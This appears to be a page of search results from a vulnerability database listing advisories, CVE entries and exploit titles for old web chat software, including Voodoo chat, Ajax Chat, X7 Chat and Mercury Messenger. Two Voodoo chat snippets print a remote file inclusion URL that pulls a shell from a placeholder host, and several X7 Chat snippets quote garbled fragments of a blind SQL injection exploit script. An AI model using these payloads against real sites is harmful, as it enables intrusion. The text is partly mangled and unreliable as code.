8813 matches found
Voodoo chat <= 1.0RC1b (file_path) Remote File Inclusion Vulnerability
Exploit for unknown platform in category web applications ====================================================================== Voodoo chat ================================================================= Exploit : -------------------------------- http://sitename.com/Script...
Voodoo chat <= 1.0RC1b (file_path) Remote File Inclusion Vulnerability
No description provided by source. ================================================================= Voodoo chat 1.0RC1b = filepath Remote File Inclusion Exploit ================================================================ | Critical Level : Dangerous | | Venedor site : http://vochat.com/ | |...
Voodoo chat 1.0RC1b - 'file_path' Remote File Inclusion
================================================================= Voodoo chat 1.0RC1b ================================================================= Exploit : -------------------------------- http://sitename.com/Script Path/index.php?filepath=http://SHELLURL.COM?...
Ajax Chat 0.1 - operator_chattranscript.php?chatid Traversal Arbitrary File Access
Ajax Chat 0.1 - operatorchattranscript.php?chatid Traversal Arbitrary File Access source: https://www.securityfocus.com/bid/19238/info AJAX Chat is prone to both a directory-traversal vulnerability and a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input...
Ajax Chat 0.1 - 'operator_chattranscript.php?chatid' Traversal Arbitrary File Access
source: https://www.securityfocus.com/bid/19238/info AJAX Chat is prone to both a directory-traversal vulnerability and a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. An attacker can exploit the directory-traversal issue to retrieve arbitrary files...
X7 Chat Server Detection
Binary data 3691.prm...
CVE-2006-3851
SQL injection vulnerability in upgradev1.php in X7 Chat 2.0.4 and earlier allows remote attackers to execute arbitrary SQL commands via the oldprefix parameter...
CVE-2006-3851
SQL injection vulnerability in upgradev1.php in X7 Chat 2.0.4 and earlier allows remote attackers to execute arbitrary SQL commands via the oldprefix parameter...
CVE-2006-3851
The CVE-2006-3851 entry covers an SQL injection in upgradev1.php for X7 Chat 2.0.4 and earlier, exploitable via the old_prefix parameter to execute arbitrary SQL commands remotely. Affected product: X7 Chat (PHP-based web chat). Root cause: improper sanitization of the old_prefix input before use...
X7 Chat upgradev1.php old_prefix Parameter SQL Injection
The remote host is running X7 Chat, a web-based chat program written in PHP. The version of X7 Chat installed on the remote host fails to properly sanitize input to the 'oldprefix' parameter of the 'upgradev1.php' script before using it in a database query. This may allow an unauthenticated...
X7 Chat <= 2.0.4 (old_prefix) Remote Blind SQL Injection Exploit
Exploit for unknown platform in category web applications ================================================================ X7 Chat = 2.0.4 oldprefix Remote Blind SQL Injection Exploit ================================================================ !/usr/bin/php -q -d shortopentag=on ? echo "X7...
X7 Chat 2.0.4 - 'old_prefix' Blind SQL Injection
!/usr/bin/php -q -d shortopentag=on 126 $result.=" ."; else $result.=" ".$string$i; if strlendechexord$string$i==2 $ex...
X7 Chat 2.0.4 - old_prefix Blind SQL Injection
X7 Chat 2.0.4 - oldprefix Blind SQL Injection !/usr/bin/php -q -d shortopentag=on 126 $result.=" ."; else $result.=" ".$string$i; i...
X7 Chat <= 2.0.4 (old_prefix) Remote Blind SQL Injection Exploit
No description provided by source. !/usr/bin/php -q -d shortopentag=on ? echo "X7 Chat =2.0.4 'oldprefix' blind SQL injection / privilege escalation exploit\r\n"; echo "by rgod [email protected]\r\n"; echo "site: http://retrogod.altervista.org\r\n"; echo "dork: "Powered By X7 Chat"\r\n\r\n"; if...
Weak Mercury Messenger permissions
Chat log director yis world-readable...
Mercury Messenger
Problem description: Mercury Messenger, http://www.mercury.to/, is a java based messenger that will allow it's users to chat with MSN users. Currently it has been noted by two people that on a multi user OS X platform it is possible to read the chat logs from other users. The user specific...
Critical: Red Hat Security Advisory: seamonkey security update (was mozilla)
Updated seamonkey packages that fix several security bugs in the mozilla package are now available for Red Hat Enterprise Linux 3. This update has been rated as having critical security impact by the Red Hat Security Response Team. SeaMonkey is an open source Web browser, advanced email and...
CVE-2006-3669
Mercury Messenger, possibly 1.7.1.1 and other versions, when running on a multi-user Mac OS X platform, stores chat logs with world-readable permissions within the /Users directory, which allows local users to read the chat logs from other users...
CVE-2006-3669
Mercury Messenger, possibly 1.7.1.1 and other versions, when running on a multi-user Mac OS X platform, stores chat logs with world-readable permissions within the /Users directory, which allows local users to read the chat logs from other users...
CVE-2006-3669
CVE-2006-3669 affects Mercury Messenger (potentially 1.7.1.1 and other versions) on multi-user Mac OS X. The vulnerability arises because chat logs are stored with world-readable permissions within the /Users directory, allowing local users to read other users’ logs. The NVD entry lists a LOW bas...